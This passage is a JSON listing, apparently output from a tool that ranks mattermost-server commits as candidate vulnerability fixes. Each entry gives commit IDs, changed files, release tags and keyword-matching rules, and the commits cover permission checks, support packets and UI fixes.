"ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console, system", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27668, 27679", - "relevance": 2 - } - ] - }, - { - "commit_id": "8cb0631c56825d84e512943a61c80f1811b90f1d", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721068071, - "hunks": 11, - "message": "MM-59099 Show invalid emoji text with its original case (#27603) (#27673) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/post_emoji/post_emoji.test.tsx", - "webapp/channels/src/components/post_emoji/post_emoji.tsx", - "webapp/channels/src/utils/emoticons.tsx", - "webapp/channels/src/utils/message_html_to_component.test.tsx", - "webapp/channels/src/utils/message_html_to_component.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27603": "MM-59099 Show invalid emoji text with its original case (9.5) #27604 Automated cherry pick of #27603 #27673", - "27673": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "fd0f1cf87e61e5e2b49ad420776348dcc39fdc81" - ], - [ - "no-tag", - "1c53223ed5b720e540fd2a6e7400f010d7df4ba8" - ] - ], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27603, 27673", - "relevance": 2 - } - ] - }, - { - "commit_id": "dc3710138a37117352987a53954c7a836b91e7c1", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721066271, - "hunks": 17, - "message": "MM-59416 Don't request notification permissions when we already have them (#27629) (#27672) Automatic Merge", - "changed_files": [ - "webapp/channels/src/utils/notifications.test.ts", - "webapp/channels/src/utils/notifications.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27629": "Automated cherry pick of #27629 #27671 Automated cherry pick of #27629 #27672", - "27672": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "d3dac41cdabede9b207e7642f93017d8767cdadd" - ], - [ - "no-tag", - "0f3c75f1f6d453ba57679fd0314bbf6e71a0e5f0" - ] - ], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27629, 27672", - "relevance": 2 - } - ] - }, - { - "commit_id": "3899de6c047022baa4e8484c748bedd080d76a52", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720803470, - "hunks": 1, - "message": "[MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642) (#27643) Automatic Merge", - "changed_files": [ - "server/Makefile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27642": "Automated cherry pick of #27642 #27643", - "27643": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "a3edc700193e6b48822d3c454bf82f97ec24bc3e" - ] - ], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27642, 27643", - "relevance": 2 - } - ] - }, - { - "commit_id": "3946012358e24673124533b31cd80ec118743fb2", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720762588, - "hunks": 1, - "message": "testing image scanning", - "changed_files": [ - "server/build/Dockerfile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - } - ] - }, - { - "commit_id": "aafca746bc09af78d454975ddaa5490dc7fd304e", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720734875, - "hunks": 1, - "message": "Test image scanning", - "changed_files": [ - "server/build/Dockerfile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - } - ] - }, - { - "commit_id": "cf6d80f9e74dc5925dc4e14b82d2583ec2df3b40", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720708079, - "hunks": 3, - "message": "MM-58245 Don't allow patching real email or username for remote users (#27613) (#27622) Automatic Merge", - "changed_files": [ - "server/platform/services/sharedchannel/sync_recv.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27613": "Automated cherry pick of #27613 #27619 Automated cherry pick of #27613 #27620 Automated cherry pick of #27613 #27621 Automated cherry pick of #27613 #27622", - "27622": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "3521b665eda724d13c49e3183ee77ef0a0b72fc3" - ], - [ - "no-tag", - "38276da8ab72f32e6c60e53e0c06df6bbc7e86c6" - ], - [ - "no-tag", - "eede34313369f0e0677b5a4d5cc35ca523dc191e" - ], - [ - "no-tag", - "19d59d1126c21192405e0f46c03ecb422646f201" - ] - ], - "tags": [ - "v9.5.8", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27613, 27622", - "relevance": 2 - } - ] - }, - { - "commit_id": "8bfce4207a89457012f85ca99782766a35331a89", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720099679, - "hunks": 12, - "message": "MM-58771 - Make manage_server permission, non updatable (#27481) (#27546) Automatic Merge", - "changed_files": [ - "server/channels/api4/role.go", - "server/channels/api4/role_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27481": "Automated cherry pick of #27481 #27543 Automated cherry pick of #27481 #27544 Automated cherry pick of #27481 #27545 Automated cherry pick of #27481 #27546", - "27546": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "5ce19aaf3c26265277f05ca5251acf0e27b865e6" - ], - [ - "no-tag", - "000af88ba4cf2603cae31583b9ccd5f122112583" - ], - [ - "no-tag", - "601c25410af375b11b1a1bead6f51715bbec895e" - ], - [ - "no-tag", - "0dbef88cfc1cb755ce42455db4a271eec01cf429" - ] - ], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: role, test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27481, 27546", - "relevance": 2 - } - ] - }, - { - "commit_id": "09a66c66ad17991327de851a3452a94b49f7d56e", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720035118, - "hunks": 9, - "message": "tests, lint and docs", - "changed_files": [ - "server/channels/app/post.go", - "server/channels/app/post_test.go", - "server/channels/store/searchlayer/file_info_layer.go", - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, test", - "relevance": 4 - } - ] - }, - { - "commit_id": "9ceadc56560e02fc546352c66f5e2cc351aecf58", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719946677, - "hunks": 2, - "message": "require Permission to user to mark channels as read (#27468) (#27524) Automatic Merge", - "changed_files": [ - "server/channels/api4/channel.go", - "server/channels/api4/channel_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27468": "Automated cherry pick of #27468 #27523 Automated cherry pick of #27468 #27524", - "27524": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "4c97cc54480f4ef81592e5ed5e508524792f8be9" - ], - [ - "no-tag", - "b78175c3904926f913e4ef6eaf373c964be9afea" - ] - ], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27468, 27524", - "relevance": 2 - } - ] - }, - { - "commit_id": "bcac4391c2cba0e63bcdcd73533d9cb2969199a4", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719946671, - "hunks": 11, - "message": "[MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge", - "changed_files": [ - "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js", - "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js", - "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js", - "webapp/channels/src/components/admin_console/admin_definition.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27482": "Automated cherry pick of #27482 #27517 Automated cherry pick of #27482 #27518 Automated cherry pick of #27482 #27519 Automated cherry pick of #27482 #27520", - "27519": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "2c69f02674d60b0d5512f648c11032ade9eb6deb" - ], - [ - "no-tag", - "57f9796e34688105f3a1cca45c383e3e9d313f48" - ], - [ - "no-tag", - "30b0b039c3874ad5053588f09554e0ff24a6c0db" - ] - ], - "tags": [ - "v9.8.3", - "v9.8.3-rc1", - "v9.8.3-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: configuration, console, test, system", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27482, 27519", - "relevance": 2 - } - ] - }, - { - "commit_id": "e6a5d03b5a67b26380946a83080d47aca5110703", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719944879, - "hunks": 2, - "message": "require regenerate invite id to have invite permission (#27427) (#27522) Automatic Merge", - "changed_files": [ - "server/channels/api4/team.go", - "server/channels/api4/team_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27427": "Automated cherry pick of #27427 #27521 Automated cherry pick of #27427 #27522", - "27522": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "b1a9b42f59d169099f4dd71db65bc7ae10b95a32" - ] - ], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27427, 27522", - "relevance": 2 - } - ] - }, - { - "commit_id": "d525f54e7d10dfde23b2b6ae564c92bad5c7b53d", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719591753, - "hunks": 8, - "message": "Revert role.js to its release-9.5 version", - "changed_files": [ - "e2e-tests/cypress/tests/support/api/role.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: role, version", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: role, test", - "relevance": 4 - } - ] - }, - { - "commit_id": "72b1205275e0e3cb69d8c9c3a33a06a617200788", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719585604, - "hunks": 18, - "message": "unit tests and some adjustments", - "changed_files": [ - "server/channels/api4/post.go", - "server/channels/api4/post_local.go", - "server/channels/app/app_iface.go", - "server/channels/app/file.go", - "server/channels/app/file_test.go", - "server/channels/app/opentracing/opentracing_layer.go", - "server/channels/app/post.go", - "server/channels/app/post_test.go", - "server/channels/store/storetest/file_info_store.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, test", - "relevance": 4 - } - ] - }, - { - "commit_id": "db138fd23a6984ef94201cc2635ce0cdcf191f50", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721253759, - "hunks": 4, - "message": "Remove deprecated function (#27605) * make /ancillary a post * remove get from client, fix tests * remove GET for retrieving ancillary permissions * Update permissions.yaml * Update permissions.yaml --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "api/v4/source/permissions.yaml", - "server/channels/api4/permission.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27605": "MM-58776 - Change Ancillary Permissions API to POST #27504" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27605", - "relevance": 2 - } - ] - }, - { - "commit_id": "53b1d1fe6bb24c3fb9a6729c82d208c951a8b003", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721222870, - "hunks": 1, - "message": "fix wrong property set (#27625) (#27690) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690", - "27690": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27625, 27690", - "relevance": 2 - } - ] - }, - { - "commit_id": "4fb7c26a2cf6f54b5571d5cbaaae73cb4c7399cf", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721221070, - "hunks": 1, - "message": "fix wrong property set (#27625) (#27687) Automatic Merge", - "changed_files": [ - "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690", - "27687": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.10.1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27625, 27687", - "relevance": 2 - } - ] - }, - { - "commit_id": "fb790a860bc5d3f3a23f89a5f0e05c94cac99c9c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721172205, - "hunks": 1, - "message": "fix wrong property set (#27625) Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27625", - "relevance": 2 - } - ] - }, - { - "commit_id": "d44951eed0d86d0b4bacfb449f6b840be430a96e", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720986603, - "hunks": 12, - "message": "Automated cherry pick of #27573 (#27651) Co-authored-by: Ben Schumacher ", - "changed_files": [ - "server/channels/app/support_packet.go", - "server/channels/app/support_packet_test.go", - "server/public/model/packet_metadata.go", - "server/public/pluginapi/system.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27573": "Don't modify global variables in TestNoticeValidation #27591 Automated cherry pick of #27573 #27651 Added metadata details for generated support packets mattermost/docs#7321", - "27651": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27573, 27651", - "relevance": 2 - } - ] - }, - { - "commit_id": "c87c5fa79d2427fa742842474d3d4576ba2b1fce", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720983238, - "hunks": 9, - "message": "Automated cherry pick of #27571 (#27647) Co-authored-by: Ben Schumacher ", - "changed_files": [ - "server/channels/app/support_packet.go", - "server/channels/app/support_packet_test.go", - "server/einterfaces/ldap.go", - "server/einterfaces/mocks/LdapInterface.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27571": "Automated cherry pick of #27571 #27647 LDAP errors included in support packet generation mattermost/docs#7324", - "27647": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27571, 27647", - "relevance": 2 - } - ] - }, - { - "commit_id": "ff3ed78124c7602cad783e46b422893e584f2883", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720981603, - "hunks": 12, - "message": "[MM-59292] Add metadata to Support Packet (#27573)", - "changed_files": [ - "server/channels/app/support_packet.go", - "server/channels/app/support_packet_test.go", - "server/public/model/packet_metadata.go", - "server/public/pluginapi/system.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27573": "Don't modify global variables in TestNoticeValidation #27591 Automated cherry pick of #27573 #27651 Added metadata details for generated support packets mattermost/docs#7321" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27573", - "relevance": 2 - } - ] - }, - { - "commit_id": "bbc8baac0a970413bf9ed7447f870cc21d3c602a", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720858627, - "hunks": 9, - "message": "[MM-59350] Include LDAP vendor errors in Support Packet (#27571)", - "changed_files": [ - "server/channels/app/support_packet.go", - "server/channels/app/support_packet_test.go", - "server/einterfaces/ldap.go", - "server/einterfaces/mocks/LdapInterface.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27571": "Automated cherry pick of #27571 #27647 LDAP errors included in support packet generation mattermost/docs#7324" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27571", - "relevance": 2 - } - ] - }, - { - "commit_id": "a4f2ec744c3693b2cefbfa115fed7d46b9f9a87c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720807903, - "hunks": 14, - "message": "Adding Do not disturb and remote user hour warnings (#27138) * Adding Do not disturb and remote user hour warnings * Do not show the hour warning on your own DMs * style tweaks * Some fixes * Linter fixes * Updating snapshots * Improving the robustness of this solution * Some improvements on keeping up the hour in the interface * i18n-extract and fix linter errors * Removing colon where is not needed * Removing the time from 6-7 to be shown * Addressing PR Review Comments * Changing the remote user hour icon * Changing back to fill and not outline icon * Addressing PR review comments * Fixing the RHS showing this * Removing unneeded check * Fixing linter error * Update webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx Co-authored-by: Matthew Birtch * Addressing PR review comment * adding consistency to show the DND and Late hours message --------- Co-authored-by: Matthew Birtch ", - "changed_files": [ - "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx", - "webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx", - "webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx", - "webapp/channels/src/components/common/svg_images_components/moon_svg.tsx", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts", - "webapp/channels/src/utils/constants.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27138": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27138", - "relevance": 2 - } - ] - }, - { - "commit_id": "40abf8ef66be712742e79ddbb4bff47e61e7c2c7", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720762989, - "hunks": 1, - "message": "Updated required role for user report page GET API (#27529) * Updated required role for user report page GET API * Updated permission in error message --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "server/channels/api4/report.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27529": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: role", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27529", - "relevance": 2 - } - ] - }, - { - "commit_id": "0df1a62f611a95f61b6ff7dcc06ac67e3e67d390", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720734622, - "hunks": 1, - "message": "[feat] adding container image scanning (#27624) Expanding on our ongoing efforts to enhance security, we are integrating container image scanning into the CI pipeline using Wiz.io https://docs.wiz.io/wiz-docs/docs/github-pipeline The policy defined, will be providing internal reports in wiz.io for our teams to review. Will not enforcing CI failure at this point.", - "changed_files": [ - ".github/workflows/server-ci-artifacts.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27624": "[fix] ci container image scanning #27631" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: fail", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27624", - "relevance": 2 - } - ] - }, - { - "commit_id": "43b70e287a1a3621c1d05c90626d9145039c8fc6", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720710781, - "hunks": 10, - "message": "MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome and safari (#27160) * fixing scrollbar not showing when moving mouse over sidebar * making scrollbar hidden by default and keep shown when hover over channel list * updating sidebar_list snapshot", - "changed_files": [ - "webapp/channels/src/components/sidebar/sidebar_list/__snapshots__/sidebar_list.test.tsx.snap", - "webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27160": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27160", - "relevance": 2 - } - ] - }, - { - "commit_id": "a695a755f6879d633f96aabe0ff9fc9e336c5f72", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720681977, - "hunks": 1, - "message": "Update .server/gitignore to ignore all JSON files under the directory (#27593)", - "changed_files": [ - "server/.gitignore" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27593": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27593", - "relevance": 2 - } - ] - }, - { - "commit_id": "5d7027a17242f9172056171dff4de01cacdbff08", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720620776, - "hunks": 6, - "message": "MM-58776 - Change Ancillary Permissions API to POST (#27504) * make /ancillary a post * remove get from client, fix tests * Update permissions.yaml", - "changed_files": [ - "api/v4/source/permissions.yaml", - "server/channels/api4/permission.go", - "server/public/model/client4.go", - "webapp/platform/client/src/client4.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27504": "Remove deprecated function #27605" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - 